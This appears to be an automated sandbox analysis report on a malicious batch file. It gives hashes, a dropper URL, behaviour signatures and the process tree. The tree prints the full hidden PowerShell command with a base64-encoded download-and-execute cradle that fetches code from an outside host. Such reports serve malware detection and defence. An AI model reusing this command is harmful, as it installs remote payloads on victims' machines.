Analysis

  • max time kernel
    48s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    20-09-2022 00:57

General

  • Target

    rep/maximum.bat

  • Size

    1KB

  • MD5

    043e83dab2314bca1b5babc8a9a4c352

  • SHA1

    e2e078f9f5b73e19449f0c0ebac37a78735515ba

  • SHA256

    dbf173cc9b164e6ac9983e5b0a9544f2fddfc5aa26828659f7ee78bb991551e2

  • SHA512

    f480f5a9f345e287a5c6a2aa0e0045f528466bd00f80820ecc04ac795c2c0bb9622128ca6f0dc010c36a94772b156fb62a3208eb7a64f332482f0a55246ab5e3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://meeronixt.com/gate

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\rep\maximum.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w hidden -nop -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgBvAG4AaQB4AHQALgBjAG8AbQAvAGcAYQB0AGUAIgApAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1932

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1932-55-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmp

    Filesize

    8KB

  • memory/1932-56-0x000007FEF41A0000-0x000007FEF4BC3000-memory.dmp

    Filesize

    10.1MB

  • memory/1932-58-0x0000000002604000-0x0000000002607000-memory.dmp

    Filesize

    12KB

  • memory/1932-57-0x000007FEF3640000-0x000007FEF419D000-memory.dmp

    Filesize

    11.4MB

  • memory/1932-59-0x000000001B810000-0x000000001BB0F000-memory.dmp

    Filesize

    3.0MB

  • memory/1932-60-0x000000000260B000-0x000000000262A000-memory.dmp

    Filesize

    124KB

  • memory/1932-61-0x0000000002604000-0x0000000002607000-memory.dmp

    Filesize

    12KB

  • memory/1932-62-0x000000000260B000-0x000000000262A000-memory.dmp

    Filesize

    124KB